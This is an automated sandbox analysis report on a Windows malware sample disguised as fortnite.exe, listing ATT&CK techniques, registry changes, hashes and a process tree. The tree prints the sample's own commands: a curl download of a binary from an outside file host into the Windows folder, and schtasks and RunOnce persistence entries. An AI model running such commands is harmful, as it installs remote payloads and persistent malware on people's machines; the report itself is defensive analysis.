5b1344b5474239635dbccf34f061111a440fdf309fc106ab7890902452d9e1f3

Analysis

max time kernel
151s
max time network
127s
platform
windows7_x64
resource
win7-20241010-en
resource tags

arch:x64arch:x86image:win7-20241010-enlocale:en-usos:windows7-x64system
submitted
17-11-2024 15:41

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General

Target

fortnite.exe
Size

1.4MB
MD5

fe46f964b97f65038b33d792041d5ae1
SHA1

78c5f038a61bd6cc176aa6ba404ce3b1066dd3ac
SHA256

5b1344b5474239635dbccf34f061111a440fdf309fc106ab7890902452d9e1f3
SHA512

8f630383500a97b11174b39206bc63732c67e9ee58430f64efa708565ed9a01b737e133639f0a56f936fc9d13f0e234e655c1f2f9c3683931e8c1fa11a507d0f
SSDEEP

24576:PFOaIhahEyuRAmfnkuGKFDflpC+bKlAtc06cd:tUhfnsGzH

Score

10^/10

discovery evasion persistence

Malware Config

Signatures

Modifies visiblity of hidden/system files in Explorer 2 TTPs 2 IoCs

evasion

Hidden Files and Directories

T1564.001

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\USER\S-1-5-21-3692679935-4019334568-335155002-1000\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\ShowSuperHidden = "0"	explorer.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3692679935-4019334568-335155002-1000\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\ShowSuperHidden = "0"	svchost.exe

Executes dropped EXE 6 IoCs

pid	Process
1284	fortnite.exe
1796	icsys.icn.exe
2124	explorer.exe
1192	spoolsv.exe
2936	svchost.exe
2220	spoolsv.exe

Loads dropped DLL 7 IoCs

pid	Process
2044	fortnite.exe
2044	fortnite.exe
1560	Process not Found
1796	icsys.icn.exe
2124	explorer.exe
1192	spoolsv.exe
2936	svchost.exe

Adds Run key to start application 2 TTPs 4 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\RunOnce\Explorer = "c:\\windows\\resources\\themes\\explorer.exe RO"	explorer.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\RunOnce\Svchost = "c:\\windows\\resources\\svchost.exe RO"	explorer.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\RunOnce\Explorer = "c:\\windows\\resources\\themes\\explorer.exe RO"	svchost.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\RunOnce\Svchost = "c:\\windows\\resources\\svchost.exe RO"	svchost.exe

Drops file in System32 directory 2 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\explorer.exe	svchost.exe
File opened for modification	C:\Windows\SysWOW64\explorer.exe	explorer.exe

Drops file in Windows directory 5 IoCs

description	ioc	Process
File opened for modification	\??\c:\windows\resources\themes\explorer.exe	icsys.icn.exe
File opened for modification	\??\c:\windows\resources\spoolsv.exe	explorer.exe
File opened for modification	\??\c:\windows\resources\svchost.exe	spoolsv.exe
File opened for modification	C:\Windows\Resources\tjud.exe	explorer.exe
File opened for modification	C:\Windows\Resources\Themes\icsys.icn.exe	fortnite.exe

System Location Discovery: System Language Discovery 1 TTPs 9 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	spoolsv.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icsys.icn.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	explorer.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	svchost.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	spoolsv.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	fortnite.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 3 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
2844	schtasks.exe
2540	schtasks.exe
3008	schtasks.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
2044	fortnite.exe
2044	fortnite.exe
2044	fortnite.exe
2044	fortnite.exe
2044	fortnite.exe
2044	fortnite.exe
2044	fortnite.exe
2044	fortnite.exe
2044	fortnite.exe
2044	fortnite.exe
2044	fortnite.exe
2044	fortnite.exe
2044	fortnite.exe
2044	fortnite.exe
2044	fortnite.exe
2044	fortnite.exe
1796	icsys.icn.exe
1796	icsys.icn.exe
1796	icsys.icn.exe
1796	icsys.icn.exe
1796	icsys.icn.exe
1796	icsys.icn.exe
1796	icsys.icn.exe
1796	icsys.icn.exe
1796	icsys.icn.exe
1796	icsys.icn.exe
1796	icsys.icn.exe
1796	icsys.icn.exe
1796	icsys.icn.exe
1796	icsys.icn.exe
1796	icsys.icn.exe
1796	icsys.icn.exe
1796	icsys.icn.exe
2124	explorer.exe
2124	explorer.exe
2124	explorer.exe
2124	explorer.exe
2124	explorer.exe
2124	explorer.exe
2124	explorer.exe
2124	explorer.exe
2124	explorer.exe
2124	explorer.exe
2124	explorer.exe
2124	explorer.exe
2124	explorer.exe
2124	explorer.exe
2124	explorer.exe
2124	explorer.exe
2936	svchost.exe
2936	svchost.exe
2936	svchost.exe
2936	svchost.exe
2936	svchost.exe
2936	svchost.exe
2936	svchost.exe
2936	svchost.exe
2936	svchost.exe
2936	svchost.exe
2936	svchost.exe
2936	svchost.exe
2936	svchost.exe
2936	svchost.exe
2936	svchost.exe

Suspicious behavior: GetForegroundWindowSpam 2 IoCs

pid	Process
2124	explorer.exe
2936	svchost.exe

Suspicious use of SetWindowsHookEx 12 IoCs

pid	Process
2044	fortnite.exe
2044	fortnite.exe
1796	icsys.icn.exe
1796	icsys.icn.exe
2124	explorer.exe
2124	explorer.exe
1192	spoolsv.exe
1192	spoolsv.exe
2936	svchost.exe
2936	svchost.exe
2220	spoolsv.exe
2220	spoolsv.exe

Suspicious use of WriteProcessMemory 46 IoCs

description	pid	Process	procid_target
PID 2044 wrote to memory of 1284	2044	fortnite.exe	30
PID 2044 wrote to memory of 1284	2044	fortnite.exe	30
PID 2044 wrote to memory of 1284	2044	fortnite.exe	30
PID 2044 wrote to memory of 1284	2044	fortnite.exe	30
PID 2044 wrote to memory of 1796	2044	fortnite.exe	31
PID 2044 wrote to memory of 1796	2044	fortnite.exe	31
PID 2044 wrote to memory of 1796	2044	fortnite.exe	31
PID 2044 wrote to memory of 1796	2044	fortnite.exe	31
PID 1796 wrote to memory of 2124	1796	icsys.icn.exe	33
PID 1796 wrote to memory of 2124	1796	icsys.icn.exe	33
PID 1796 wrote to memory of 2124	1796	icsys.icn.exe	33
PID 1796 wrote to memory of 2124	1796	icsys.icn.exe	33
PID 2124 wrote to memory of 1192	2124	explorer.exe	34
PID 2124 wrote to memory of 1192	2124	explorer.exe	34
PID 2124 wrote to memory of 1192	2124	explorer.exe	34
PID 2124 wrote to memory of 1192	2124	explorer.exe	34
PID 1284 wrote to memory of 2916	1284	fortnite.exe	35
PID 1284 wrote to memory of 2916	1284	fortnite.exe	35
PID 1284 wrote to memory of 2916	1284	fortnite.exe	35
PID 1284 wrote to memory of 2920	1284	fortnite.exe	36
PID 1284 wrote to memory of 2920	1284	fortnite.exe	36
PID 1284 wrote to memory of 2920	1284	fortnite.exe	36
PID 1192 wrote to memory of 2936	1192	spoolsv.exe	37
PID 1192 wrote to memory of 2936	1192	spoolsv.exe	37
PID 1192 wrote to memory of 2936	1192	spoolsv.exe	37
PID 1192 wrote to memory of 2936	1192	spoolsv.exe	37
PID 2936 wrote to memory of 2220	2936	svchost.exe	38
PID 2936 wrote to memory of 2220	2936	svchost.exe	38
PID 2936 wrote to memory of 2220	2936	svchost.exe	38
PID 2936 wrote to memory of 2220	2936	svchost.exe	38
PID 2124 wrote to memory of 2740	2124	explorer.exe	39
PID 2124 wrote to memory of 2740	2124	explorer.exe	39
PID 2124 wrote to memory of 2740	2124	explorer.exe	39
PID 2124 wrote to memory of 2740	2124	explorer.exe	39
PID 2936 wrote to memory of 2844	2936	svchost.exe	40
PID 2936 wrote to memory of 2844	2936	svchost.exe	40
PID 2936 wrote to memory of 2844	2936	svchost.exe	40
PID 2936 wrote to memory of 2844	2936	svchost.exe	40
PID 2936 wrote to memory of 2540	2936	svchost.exe	44
PID 2936 wrote to memory of 2540	2936	svchost.exe	44
PID 2936 wrote to memory of 2540	2936	svchost.exe	44
PID 2936 wrote to memory of 2540	2936	svchost.exe	44
PID 2936 wrote to memory of 3008	2936	svchost.exe	46
PID 2936 wrote to memory of 3008	2936	svchost.exe	46
PID 2936 wrote to memory of 3008	2936	svchost.exe	46
PID 2936 wrote to memory of 3008	2936	svchost.exe	46

C:\Users\Admin\AppData\Local\Temp\fortnite.exe
"C:\Users\Admin\AppData\Local\Temp\fortnite.exe"
1⤵
- Loads dropped DLL
- Drops file in Windows directory
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2044
- \??\c:\users\admin\appdata\local\temp\fortnite.exe
  c:\users\admin\appdata\local\temp\fortnite.exe
  2⤵
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:1284
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c curl --silent https://files.catbox.moe/t3twl8.bin --output C:\Windows\Speech\physmeme.exe
    3⤵
    PID:2916
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c cls
    3⤵
    PID:2920
- C:\Windows\Resources\Themes\icsys.icn.exe
  C:\Windows\Resources\Themes\icsys.icn.exe
  2⤵
  - Executes dropped EXE
  - Loads dropped DLL
  - Drops file in Windows directory
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of SetWindowsHookEx
  - Suspicious use of WriteProcessMemory
  PID:1796
- - \??\c:\windows\resources\themes\explorer.exe
    c:\windows\resources\themes\explorer.exe
    3⤵
    - Modifies visiblity of hidden/system files in Explorer
    - Executes dropped EXE
    - Loads dropped DLL
    - Adds Run key to start application
    - Drops file in System32 directory
    - Drops file in Windows directory
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious behavior: GetForegroundWindowSpam
    - Suspicious use of SetWindowsHookEx
    - Suspicious use of WriteProcessMemory
    PID:2124
  - - \??\c:\windows\resources\spoolsv.exe
      c:\windows\resources\spoolsv.exe SE
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      Drops file in Windows directory
      System Location Discovery: System Language Discovery
      Suspicious use of SetWindowsHookEx
      Suspicious use of WriteProcessMemory
      PID:1192
    - - \??\c:\windows\resources\svchost.exe
        
        c:\windows\resources\svchost.exe
        5⤵
        Modifies visiblity of hidden/system files in Explorer
        Executes dropped EXE
        Loads dropped DLL
        Adds Run key to start application
        Drops file in System32 directory
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious behavior: GetForegroundWindowSpam
        Suspicious use of SetWindowsHookEx
        Suspicious use of WriteProcessMemory
        
        PID:2936
      - \??\c:\windows\resources\spoolsv.exe
        
        c:\windows\resources\spoolsv.exe PR
        6⤵
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        Suspicious use of SetWindowsHookEx
        
        PID:2220
      - C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /create /tn "svchost" /tr "c:\windows\resources\svchost.exe" /sc daily /st 15:44 /f
        6⤵
        System Location Discovery: System Language Discovery
        Scheduled Task/Job: Scheduled Task
        
        PID:2844
      - C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /create /tn "svchost" /tr "c:\windows\resources\svchost.exe" /sc daily /st 15:45 /f
        6⤵
        System Location Discovery: System Language Discovery
        Scheduled Task/Job: Scheduled Task
        
        PID:2540
      - C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /create /tn "svchost" /tr "c:\windows\resources\svchost.exe" /sc daily /st 15:46 /f
        6⤵
        System Location Discovery: System Language Discovery
        Scheduled Task/Job: Scheduled Task
        
        PID:3008
  - - C:\Windows\Explorer.exe
      C:\Windows\Explorer.exe
      4⤵
      PID:2740

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Modify Registry

T1112

Credential Access

Discovery

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Windows\Resources\Themes\explorer.exe

Filesize
135KB

MD5
a711f0925f42a810499b8963f248f81d

SHA1
e2d108438a52befe6ff8c76f830373224276ebd0

SHA256
ca0c9438d7e0bb0abe5cd9ea49028d9bf53de2394d63991a036448eec36adcc7

SHA512
fc374f708ae6cb6fb558fcbcca9a30e3e0d4764f77cb3208a553815b063c762ab97d9f1aa2eafe5cdad36f04a3d086bce2d58767ff52b5b44c13775f7ee42634

Download Submit
\Users\Admin\AppData\Local\Temp\fortnite.exe

Filesize
1.2MB

MD5
3287792eb50754ea8b3639bca36a8a99

SHA1
d46b073edbbfcd8027d2df2b1ccb93f90bec3319

SHA256
9c3dd5e7ce8aa6114c6d881a64eefb47f5e6557bbc84cbfa705318674b43fecc

SHA512
fada9632e159e6225997c8c6d67fb09f4ce48c1c444d0205ceb8a4004f7006eb7c55ce2823d1f33672bbea36d29e6111cd5021b63ee2fbd3f6dbf2847ce78b38

Download Submit
\Windows\Resources\Themes\icsys.icn.exe

Filesize
135KB

MD5
db2a3be4d0ba7fbe7984689f57969053

SHA1
22eeabb26614ba2a32b0869ae544c67c02f9262b

SHA256
2055a054d6084815d3e23fdc1cfa776bea0cf21a2eb6194a0d453eec3dead956

SHA512
7b3cab337dfe217824ad754c02561f2bdb82eb92d3462503212870e4adb2f6b1e10392e3dc127883a3ef8c39e1c0d9ed946609831c114cc42746fa0f680390d4

Download Submit
\Windows\Resources\spoolsv.exe

Filesize
135KB

MD5
49af1e57561db06cf5460d2bd4bfac27

SHA1
06fd729a5828e737607618caac0b88c820f304cf

SHA256
fa61bb735e38be8e69149c644c92a270dd5f805bbf2cf07db57fa090845be4bb

SHA512
78c57b3c3410c37d998ea37a8c624d4b6e64f646f6e2aa63cbcc947b9a654411dc20e29109cca8e95e5d8ca75966bfd962ed160fcb16a583fc7e5b62439d7385

Download Submit
\Windows\Resources\svchost.exe

Filesize
135KB

MD5
a74cc12915ee1a4baee804ef46526b9e

SHA1
ac979475cda92036255b5dae36fef12bda2e7539

SHA256
1b249b1b4494cb278cc37dde36799a89898650455493a31457aa4538fcfe5945

SHA512
896322b4cbfb52e445ff3e7341dd19e70706bf6826b4425120911dae3898572a8ac295067afecc1d87006a5c07153640ef4f106167c90d470b3755fb3acfd1a7

Download Submit
memory/1192-57-0x0000000000400000-0x000000000041F000-memory.dmp

Filesize
124KB

Download
memory/1796-25-0x0000000000200000-0x000000000021F000-memory.dmp

Filesize
124KB

Download
memory/1796-58-0x0000000000400000-0x000000000041F000-memory.dmp

Filesize
124KB

Download
memory/2044-11-0x00000000002C0000-0x00000000002DF000-memory.dmp

Filesize
124KB

Download
memory/2044-0-0x0000000000400000-0x000000000041F000-memory.dmp

Filesize
124KB

Download
memory/2044-59-0x0000000000400000-0x000000000041F000-memory.dmp

Filesize
124KB

Download
memory/2124-60-0x0000000000400000-0x000000000041F000-memory.dmp

Filesize
124KB

Download
memory/2220-56-0x0000000000400000-0x000000000041F000-memory.dmp

Filesize
124KB

Download
memory/2936-51-0x00000000002F0000-0x000000000030F000-memory.dmp

Filesize
124KB

Download
memory/2936-61-0x0000000000400000-0x000000000041F000-memory.dmp

Filesize
124KB

Download